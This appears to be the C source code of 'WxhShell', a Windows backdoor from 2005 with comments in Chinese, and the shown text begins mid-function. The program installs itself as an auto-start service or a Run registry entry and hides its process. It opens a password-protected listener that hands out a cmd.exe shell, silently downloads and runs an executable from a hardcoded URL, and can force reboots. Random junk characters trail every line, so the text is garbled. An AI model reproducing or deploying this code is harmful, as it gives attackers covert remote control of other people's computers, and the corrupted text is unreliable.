    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6x/o j`_[  
    else { V>UlL&V  
    closesocket(wsh); YhooD,[.  
    ExitThread(0);  p1&=D%/  
    } HW'I$ .  
    break; ' dv(  
    } s.KfMJ"u[  
  // 获取shell qw)Ou]L=  
  case 's': { $"}*#<Z  
    CmdShell(wsh); IF<T{/MA  
    closesocket(wsh); |%3>i"Y@AK  
    ExitThread(0); Ys?0hd<cn  
    break; A8AeM `  
  } 62G %.'7  
  // 退出 RQ#9[6w!v  
  case 'x': { iV\*7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9+.3GRt7  
    CloseIt(wsh); /c4$m3?]  
    break; p!<PRms@  
    } { Q!Xxe>6  
  // 离开 +apn3\_  
  case 'q': { @ Yo*h"s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o4LVG  
    closesocket(wsh); C8 }=fa3u  
    WSACleanup(); vNZ"x)?  
    exit(1); ?#nk}=;g8  
    break; ~*~aFf5  
        } [i> D|X  
  } Eq8:[o  
  } ^?A>)?Sq  
gd]_OY7L  
  // 提示信息 N f}ZG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [<Mls@?  
} 1$:O9 {F  
  } m Q<Vwx0  
i~5'bSq c  
  return; ld5+/"$  
} zY-?Bv_D  
 qzSm]l?z  
// shell模块句柄 bhfKhXh8  
int CmdShell(SOCKET sock) o0dD  
{ (&_^1  
STARTUPINFO si; B&EUvY '  
ZeroMemory(&si,sizeof(si)); R[m+s=+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d*@K5?O.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n*#HokX  
PROCESS_INFORMATION ProcessInfo; 8hSw4S "$  
char cmdline[]="cmd"; OL@$RTh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n S Vr,wU  
  return 0; ?]+! gz1  
} };gcM @]]E  
_5OxESE  
// 自身启动模式 azRp4~2?  
int StartFromService(void) ndk~(ex|j  
{ &7{yk$]*  
typedef struct zIr-Rx'dL^  
{ 5)->.*G*  
  DWORD ExitStatus; @Q!Tvw/  
  DWORD PebBaseAddress; qmNG|U&  
  DWORD AffinityMask; ="AaC!E,W  
  DWORD BasePriority; N~?(<DyZR  
  ULONG UniqueProcessId; /U6ry'  
  ULONG InheritedFromUniqueProcessId; j|[>f  
}   PROCESS_BASIC_INFORMATION; PM QlJ&  
P"[{s^mb  
PROCNTQSIP NtQueryInformationProcess; {rygIl{V  
xF 3Z>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lg-!,Y   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wzY{ii  
y6H`FFqK  
  HANDLE             hProcess; {c<cSrfI  
  PROCESS_BASIC_INFORMATION pbi; ]v+yeGIKS  
f'Oj01[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9j 0o)]  
  if(NULL == hInst ) return 0; mKUm*m#<R  
jm'^>p,9G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FyChH7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  7b8y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y+0GJuBf  
hANe$10=H  
  if (!NtQueryInformationProcess) return 0; vVjk9_Ul  
}yd!UU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1`~.!yd8(  
  if(!hProcess) return 0; J M;WCV%NM  
F^?DnZs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $Xs`'>,"  
YmHu8H_Q  
  CloseHandle(hProcess); o,/wE  
"}S6a?]V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !';;q  
if(hProcess==NULL) return 0; ( yB]$  
\86NV="U  
HMODULE hMod; |:L}/onK  
char procName[255]; v"_E0 3!  
unsigned long cbNeeded; vLGnLpt  
z]&?}o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {??bJRT  
^3QJv{)Q  
  CloseHandle(hProcess); {9cjitl  
_KZ TY`/*  
if(strstr(procName,"services")) return 1; // 以服务启动 uSH_=^yTQ  
(N9g6V  
  return 0; // 注册表启动 F4IU2_CnPD  
} )`mBvS.}  
Sf2xI'  
// 主模块 %Y9CZRY 9  
int StartWxhshell(LPSTR lpCmdLine) ~{pds  
{ "kjSg7m*:  
  SOCKET wsl; l]~IZTC  
BOOL val=TRUE; :*YnH&  
  int port=0; OMBH[_  
  struct sockaddr_in door; x }]"jj2x  
D J7U6{KLq  
  if(wscfg.ws_autoins) Install(); s? 2ikJq  
:BB=E'293  
port=atoi(lpCmdLine); WS%yV|e  
/0XmU@B  
if(port<=0) port=wscfg.ws_port; ^zfs8]QSf  
#K!"/,d@>J  
  WSADATA data; )^ PWr^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I ^[[*Bh*C  
$<3^( y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zh`[A9I/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); beNy5~M$  
  door.sin_family = AF_INET; ~y,m7%L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '1~;^rU  
  door.sin_port = htons(port); s&XL{FE  
o.s(=iG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D2RvFlAXu  
closesocket(wsl); \m=k~Cf:f  
return 1; E;An':j  
} e`Co ='  
Of}C.N8  
  if(listen(wsl,2) == INVALID_SOCKET) { RrdLh z2N  
closesocket(wsl); OP\L  
return 1; kM(m$Oo.  
} )4> 7X)j>  
  Wxhshell(wsl); ARG8\qU  
  WSACleanup(); S 8)!70  
?%n"{k?#  
return 0; oVW>PEgB-  
B&<P>AZ  
} i1*0'x  
~ e a K]|  
// 以NT服务方式启动 ~.tYYX<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Eqh*"hE7  
{ T wzpq1  
DWORD   status = 0; ;d FJqo82  
  DWORD   specificError = 0xfffffff; /QQjb4S}  
QlS_{XV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s'bTP(wl9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,5AEtoF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -aV( 6i*n  
  serviceStatus.dwWin32ExitCode     = 0; ZZi|0dG4;  
  serviceStatus.dwServiceSpecificExitCode = 0; EK&0Cn3z  
  serviceStatus.dwCheckPoint       = 0; )JJF}m=  
  serviceStatus.dwWaitHint       = 0; "8~PfLJ+  
,H1K sN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }F|B'[wn  
  if (hServiceStatusHandle==0) return; hE<Sm*HU  
- FJLM  
status = GetLastError(); 9SJSUv:@  
  if (status!=NO_ERROR) rK|("  
{ U*,\UF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d]MpE9@'v  
    serviceStatus.dwCheckPoint       = 0; OL_jU2,fv  
    serviceStatus.dwWaitHint       = 0; Z*-a=u%gl'  
    serviceStatus.dwWin32ExitCode     = status; S)/548=`  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y?L>KiM$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {|B[[W\TN  
    return; O0 $V+fE  
  } T\bpeky~  
2'-84  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |sEuhP\A3  
  serviceStatus.dwCheckPoint       = 0; Ijk hV  
  serviceStatus.dwWaitHint       = 0; #%w)w R3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >8b%*f8R  
}  ) TRUx  
O%haaL\  
// 处理NT服务事件,比如:启动、停止 &gUa^5'#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6Nt/>[  
{ >(.Y%$9"E  
switch(fdwControl) 7 |GSs=  
{ 1N<n)>X4  
case SERVICE_CONTROL_STOP: z 4;@"B  
  serviceStatus.dwWin32ExitCode = 0; `6;$Z)=.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]2 $T 6  
  serviceStatus.dwCheckPoint   = 0; X4Pm&ol  
  serviceStatus.dwWaitHint     = 0; lxr;AJ(  
  { j(k}NWPH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K\59vtga  
  } R1eWPtWs  
  return; z^s\&gix  
case SERVICE_CONTROL_PAUSE: USS%T<Vk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X *:,|  
  break; :8HVq*itS  
case SERVICE_CONTROL_CONTINUE: {m@tt{%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o8v,17 8  
  break; |~PaCw8-ge  
case SERVICE_CONTROL_INTERROGATE: \9uK^oS  
  break; uPjp5;V  
}; `uZMln @  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f1;@a>X  
} OiS\tK?|GV  
Rjv;[  
// 标准应用程序主函数 4O/IT1+A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UEhFId  
{ M{)&SNI*C  
j%Xa8$  
// 获取操作系统版本 "a3?m)  
OsIsNt=GetOsVer(); '@Yp@ _  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7[UD;&\k  
q ]VB}nO  
  // 从命令行安装 5G$ ,2i(  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y*\N{6$2  
f=u +G  
  // 下载执行文件 E!BzE_|i  
if(wscfg.ws_downexe) { ~(7ct*U~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1[$zdv{A  
  WinExec(wscfg.ws_filenam,SW_HIDE); W0Y ,3;0  
} 5jUy[w @  
D$*o}*mb  
if(!OsIsNt) { %g{)K)$,ui  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pai8r%Zfu  
HideProc(); y n_.  
StartWxhshell(lpCmdLine); j>uu3ADd2  
} C"%B >e  
else (|rf>=B+H  
  if(StartFromService()) /oLY\>pD  
  // 以服务方式启动 MLg{Y?@  
  StartServiceCtrlDispatcher(DispatchTable); >d *`K  
else 8S8UV(K0  
  // 普通方式启动 TbN{ex*  
  StartWxhshell(lpCmdLine); ,D]g]#Lq  
>tx[UF@P@  
return 0; SM2N3"\  
} r4DHALu#)  
qvK/}  
<;O^3_'  
3bR%#G%  
=========================================== ^SKHYo`,,N  
)rt%.`  
SMJRoK3  
G%AO%II  
EWgJ"WTF  
A~lc`m-  
" E*wG5] at  
#z<# oC5  
#include <stdio.h> TA2ETvz^  
#include <string.h> ZS;V?]\(  
#include <windows.h> q-ko)]  
#include <winsock2.h> RqP_^tB  
#include <winsvc.h> NO@`*:.^Y  
#include <urlmon.h> 0NKgtH~+  
]!@=2kG4  
#pragma comment (lib, "Ws2_32.lib") ",J&UTUh  
#pragma comment (lib, "urlmon.lib") `b]wyP  
&R?to>xr \  
#define MAX_USER   100 // 最大客户端连接数 '3Q~y"C+4  
#define BUF_SOCK   200 // sock buffer D~URY_[A  
#define KEY_BUFF   255 // 输入 buffer ey,f igjd.  
XWQ `]m)  
#define REBOOT     0   // 重启 tHHJ|4C  
#define SHUTDOWN   1   // 关机 1 ] cLbJ  
0I<L<^s3^U  
#define DEF_PORT   5000 // 监听端口 R=<::2_Y96  
/<IWdy]$3  
#define REG_LEN     16   // 注册表键长度 8q9ATB-^>  
#define SVC_LEN     80   // NT服务名长度 HGh -rEh  
G5K?Q+n   
// 从dll定义API "bF52lLu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QKB+mjMH#x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K/ &`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N3aqNRwlk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @ =~k[o  
.`5|NUhN  
// wxhshell配置信息 U B~ -$\.  
struct WSCFG { 9__B!vw:  
  int ws_port;         // 监听端口 Ry"4v_e9  
  char ws_passstr[REG_LEN]; // 口令 #+V4<o  
  int ws_autoins;       // 安装标记, 1=yes 0=no cL ~WDW/  
  char ws_regname[REG_LEN]; // 注册表键名 a0gg<Ml  
  char ws_svcname[REG_LEN]; // 服务名  ;<B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s%`l>#H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VHMQY*lk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YG8V\4 SQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I`rN+c:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \Cj3jg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7pQ 5`;P  
6 U[VoUU   
}; j BBl{  
-N wic|  
// default Wxhshell configuration OuEcoIK  
struct WSCFG wscfg={DEF_PORT, ]@<VLP?  
    "xuhuanlingzhe", KYJP`va6k  
    1, <FBBR2  
    "Wxhshell", DB-79U%W  
    "Wxhshell", , QWus"5H  
            "WxhShell Service", O6)Po  
    "Wrsky Windows CmdShell Service", *AQ3RA8  
    "Please Input Your Password: ", v;9(FLtL  
  1, 'TH[Db'`I  
  "http://www.wrsky.com/wxhshell.exe", ,=4,eCS  
  "Wxhshell.exe" Z|Rc54Ct  
    }; @KU;' th  
UH}lKc=t  
// 消息定义模块 ~jzLw@"~$^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2EZ7Vdz2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n7K%lj-.P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `PL}8ydZ  
char *msg_ws_ext="\n\rExit."; N>"L2E=z$|  
char *msg_ws_end="\n\rQuit."; Z_4%Oi  
char *msg_ws_boot="\n\rReboot..."; *AW v  
char *msg_ws_poff="\n\rShutdown..."; fW+ "Kuw  
char *msg_ws_down="\n\rSave to "; {d;z3AB  
+h+ 7Q'k  
char *msg_ws_err="\n\rErr!"; tP*Kt'4W  
char *msg_ws_ok="\n\rOK!"; 8>#ZU]cG  
G dNhEv  
char ExeFile[MAX_PATH]; rf4f'cUa  
int nUser = 0; $w{d4")  
HANDLE handles[MAX_USER]; 'uDx$AkY  
int OsIsNt; {}ADsh@7d'  
Z'y&11  
SERVICE_STATUS       serviceStatus; .BBJhXtrdu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qve'Gm)  
La9}JvQoX  
// 函数声明 [BJzZ>cY  
int Install(void); 43B0ynagN  
int Uninstall(void); I[ \7Bf  
int DownloadFile(char *sURL, SOCKET wsh); uGb+ *tD  
int Boot(int flag); d4  \  
void HideProc(void); 6',Hs  
int GetOsVer(void); ox&? `DO  
int Wxhshell(SOCKET wsl); eS@j? Y0y  
void TalkWithClient(void *cs); 8P- ay<6  
int CmdShell(SOCKET sock); kBcTXl  
int StartFromService(void); ]bh%pn  
int StartWxhshell(LPSTR lpCmdLine); cl `Wl/Q#  
Gt*K:KT=L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0Atha>w^o~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gveJ1P  
E]/2 u3p  
// 数据结构和表定义 .x,y[/[[)  
SERVICE_TABLE_ENTRY DispatchTable[] = OzrIiahz/  
{ u%z'.#r;a  
{wscfg.ws_svcname, NTServiceMain}, #2ta8m),  
{NULL, NULL} MooH`2Fd  
}; 6A]I" E]5  
6P717[  
// 自我安装 vu^mLc  
int Install(void) !(?7V  
{ )AkBo  
  char svExeFile[MAX_PATH]; &T0]tzk*,  
  HKEY key; >zX^*T#  
  strcpy(svExeFile,ExeFile); Q;y5E`G  
.-M5.1mo\(  
// 如果是win9x系统,修改注册表设为自启动 xcWR#z{z  
if(!OsIsNt) { \L~^c1s3r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v9* +@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8CUtY9.  
  RegCloseKey(key); Gkem_Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L+%kibnY'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Os$E,4,py  
  RegCloseKey(key); upaP,ik}~  
  return 0; V.*M;T\i  
    } _xePh  
  } 1q-;+Pd;  
} *6AV^^  
else { *`u|1}h|  
GLecBF+>F  
// 如果是NT以上系统,安装为系统服务  2hF^U+I}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u_' -vZ_  
if (schSCManager!=0) b<~8\\ &  
{ 77[TqRLf  
  SC_HANDLE schService = CreateService r1-MO`6  
  ( 6}I X{nQI  
  schSCManager, /fb}]e]N  
  wscfg.ws_svcname, mJ<`/p?:  
  wscfg.ws_svcdisp, &-Ch>:[  
  SERVICE_ALL_ACCESS, J(d+EjC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^;a .;wR  
  SERVICE_AUTO_START, E7\K{]  
  SERVICE_ERROR_NORMAL, dFw+nGN  
  svExeFile, F}45.C rD  
  NULL, Bc }o3oc  
  NULL, -F`GZ  
  NULL, 2yn"K|  
  NULL, E-C]<{`O  
  NULL %M1l[\N  
  ); P7=`P  
  if (schService!=0) K<5yjG8&  
  { X/:V{2  
  CloseServiceHandle(schService); &}e>JgBe0  
  CloseServiceHandle(schSCManager); ,NZllnW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H%Vf$1/TF  
  strcat(svExeFile,wscfg.ws_svcname); vA_,TS#Bo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mm +V*L{x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U&])ow):  
  RegCloseKey(key); !;&\n3-W  
  return 0; PVlC j  
    } 5?`4qSUz  
  } V? tH/P  
  CloseServiceHandle(schSCManager); LJ@(jO{z  
} +`Q]p" G  
} JRz) A4P  
N9G xJ6  
return 1; .lb]Xa*n  
} K2x2Y=  
jnOnV1I"  
// 自我卸载 Lw[=pe0e  
int Uninstall(void) 5\h 6"/6Df  
{ Pv2uZH(  
  HKEY key; RN)XIf$@_  
r&a} U6k(y  
if(!OsIsNt) { Wfd`v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @, fvWNI  
  RegDeleteValue(key,wscfg.ws_regname); #6|ve?`I  
  RegCloseKey(key); E3j`e>Yz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cn 5"zDK$  
  RegDeleteValue(key,wscfg.ws_regname); ;E 9o%f:o  
  RegCloseKey(key); HoAg8siQ  
  return 0; RRS)7fFm  
  } )-5eIy  
} )-[$m%  
} WZ6{9/%:  
else { SS%Bde&<{  
zo@vuB.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vv,<#4d  
if (schSCManager!=0) Z ;rM@x  
{ H*k\C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KH?6O%d  
  if (schService!=0) }[z7V  
  { #$S~QS.g  
  if(DeleteService(schService)!=0) { {~O4*2zg;K  
  CloseServiceHandle(schService); !5De?OXe   
  CloseServiceHandle(schSCManager);  \8C<nh  
  return 0; .-HM{6J  
  } \jk* Nm8;  
  CloseServiceHandle(schService); ]QJ5JtD-  
  } k%~;mu"4}  
  CloseServiceHandle(schSCManager); } G{"Mp4  
} # A4WFZ  
} ($<&H>j0  
,^e2ma|z  
return 1; /_J{JGp9  
} %,vq@..^  
08jk~$%  
// 从指定url下载文件 0/DO"pnL@  
int DownloadFile(char *sURL, SOCKET wsh)  o%j?}J7y  
{ m,kYE9 {  
  HRESULT hr; fWA# n  
char seps[]= "/"; OHAU@*[lM  
char *token; LYYz=oZOE!  
char *file;  ~ e?af  
char myURL[MAX_PATH]; t=}]4&Yp  
char myFILE[MAX_PATH]; L9e<hRZ$  
Jf= V<  
strcpy(myURL,sURL); ENqZ=Lyq  
  token=strtok(myURL,seps); M .6BFC  
  while(token!=NULL) Xa>'DO2  
  { mgH~GKf^  
    file=token; \(Nx)F  
  token=strtok(NULL,seps); j<!dpt  
  } >G!=lLyR  
HP*{1Q@5  
GetCurrentDirectory(MAX_PATH,myFILE); *A48shfO  
strcat(myFILE, "\\"); o<lmU8xB=  
strcat(myFILE, file); :+\sKEzL  
  send(wsh,myFILE,strlen(myFILE),0); 4=^Ha%l  
send(wsh,"...",3,0); bnL!PsG$K,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4|%Y09"lv  
  if(hr==S_OK) q90RTX'CY  
return 0; <L8FI78[*  
else i75\<X  
return 1; e%ro7~  
arR<!y7  
} I__b$  
TT(R<hL  
// 系统电源模块 PJm@fK(j  
int Boot(int flag) p9G+la~;VM  
{ 3 []ltN_  
  HANDLE hToken; Yg5o!A  
  TOKEN_PRIVILEGES tkp; o` QH8  
 I*f@^(  
  if(OsIsNt) { <tZtt9j_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5#|&&$)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KAE %Wwjr  
    tkp.PrivilegeCount = 1; /0k'w%V{n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4w9=z,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d5LBL'/o  
if(flag==REBOOT) { 6v scu2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H~#$AD+H  
  return 0; U9PI#TX &O  
} uAnL`  
else { W!" $g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v~AshmP  
  return 0; &?p( UY7'"  
} b-VQn5W  
  } Q~f]?a`  
  else { @b 17jmq{  
if(flag==REBOOT) { 1Z_w2D*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QhTn9S:D  
  return 0; t5b c Q@Y  
} ZR=i*y  
else { @mu{*. &  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z"  z$.c  
  return 0; =ePwGm1:c  
} C[TjcHoA  
} c^H#[<6p  
f:P;_/cJc  
return 1; lz>.mXdx  
} .1^ Kk3  
R86i2',  
// win9x进程隐藏模块 /160pl 4  
void HideProc(void) N@Ap|`Ei  
{ $ SA @ "  
LdiNXyyzet  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O+'k4  
  if ( hKernel != NULL ) @Jd eOL;  
  { 3:$@DZT$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =C(BZ+-^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]YZ_kc^(V;  
    FreeLibrary(hKernel); \cX9!lHl  
  } s H'FqV,)  
&09~ D8f'  
return; O:,Gmft+  
} ?G9DSk?6%Z  
*b{Hj'HaH  
// 获取操作系统版本 /'VuMMJ2  
int GetOsVer(void) 1bw$$QXC_  
{ rKOa9M  
  OSVERSIONINFO winfo; TL"+Iv2]/$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #NMQN*J>D  
  GetVersionEx(&winfo); }YC=q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H%=;pD>o  
  return 1; 5xUZeLj  
  else ey<z#Q5+  
  return 0; {9P(U\]e]k  
} ia.+<, $`S  
YGyw^$.w  
// 客户端句柄模块 -`spu)  
int Wxhshell(SOCKET wsl) &Nr+- $  
{ 1p/_U?H:|  
  SOCKET wsh; d"3x11|  
  struct sockaddr_in client; $*XTX?,'  
  DWORD myID; S:g6z'e1  
71<4q {n  
  while(nUser<MAX_USER) tmoclK-  
{ ?a, `{1m0\  
  int nSize=sizeof(client); ?)Gb=   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $i3`cX)g  
  if(wsh==INVALID_SOCKET) return 1;  bFA lC  
y~t e!C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3WGOftLzt  
if(handles[nUser]==0) 5Em.sz;:8  
  closesocket(wsh); \G/ZA) t  
else A2PeI"y  
  nUser++; ;u';$0  
  } z+0#H39&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !qH)ttW  
^{8CShUCv  
  return 0; X`E}2|q'  
} {~\:4  
r|bGn#^  
// 关闭 socket W8]?dL}|  
void CloseIt(SOCKET wsh) "Rf|o 6!d  
{ JNvgUb'U  
closesocket(wsh); HyQ(9cn |  
nUser--; D iHj!tZN  
ExitThread(0); >N~jlr|  
} =zp{ ^mC  
|`I9K#w3  
// 客户端请求句柄 ?WS.RBe2  
void TalkWithClient(void *cs) p[!9objU  
{ Z0V6cikW6  
Q"LlBp>t|#  
  SOCKET wsh=(SOCKET)cs; {@" F/G+  
  char pwd[SVC_LEN]; u VUrg;>  
  char cmd[KEY_BUFF]; b!EqYT  
char chr[1]; hJ8B&u(  
int i,j; 5VN~?#K  
)4YtdAV  
  while (nUser < MAX_USER) { -HFyNk]>  
h9. Yux  
if(wscfg.ws_passstr) { JQ]MkP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z3fU|*_c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FT gt$I  
  //ZeroMemory(pwd,KEY_BUFF); m&_!*3BAG  
      i=0; [Fd[(  
  while(i<SVC_LEN) { ZmaW]3$  
<z wI@i  
  // 设置超时 T(kG"dz   
  fd_set FdRead; eX^ F^(   
  struct timeval TimeOut; H Mfhe[A?  
  FD_ZERO(&FdRead); qyBo|AQ5  
  FD_SET(wsh,&FdRead); bde6 ;=oM  
  TimeOut.tv_sec=8; DCCij N  
  TimeOut.tv_usec=0; j6rwlwN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O;#0Yg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  OF( tCK  
M;0\fUh;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Z a}p|Ct  
  pwd=chr[0]; `9G1Bd8k  
  if(chr[0]==0xd || chr[0]==0xa) { 4e|(= W`  
  pwd=0; yjChnp Cc  
  break; vqwSOh|P9  
  } [sG!|@r  
  i++; l]P3oB}Yo  
    } ur/:aI  
1uc;:N G=  
  // 如果是非法用户,关闭 socket !ma'*X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [PU0!W;  
} ZOHGGO]1M  
::k/hP9.^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); myWa>Mvb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^/Frg<>'p  
v6KF0mqA&  
while(1) { G~\=:d=^,`  
->U9u lTC  
  ZeroMemory(cmd,KEY_BUFF); \&X*-T[]j  
?(j:F2dU~  
      // 自动支持客户端 telnet标准   5!d'RBO   
  j=0; *8xMe  
  while(j<KEY_BUFF) { Jg%jmI;Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); | <l=i(  
  cmd[j]=chr[0]; ]s:%joj%^  
  if(chr[0]==0xa || chr[0]==0xd) { x-=qlg&EI  
  cmd[j]=0; 2z0 27P-Q  
  break; U_C 1GT-|  
  } %$SO9PY  
  j++; %C(^v)"  
    } Ln5g"g8gb%  
G![JRJxQ  
  // 下载文件 97L# 3L6t  
  if(strstr(cmd,"http://")) { qFYM2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "~/O>.p  
  if(DownloadFile(cmd,wsh)) <ULydBom  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Fh5*UC  
  else E?[]N[0Kl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l^E)XWd  
  } 'Q F@@48  
  else { Y|96K2BR  
/L? ia  
    switch(cmd[0]) { Ov PTgiI!N  
  B`<K]ut  
  // 帮助 %T'<vw0  
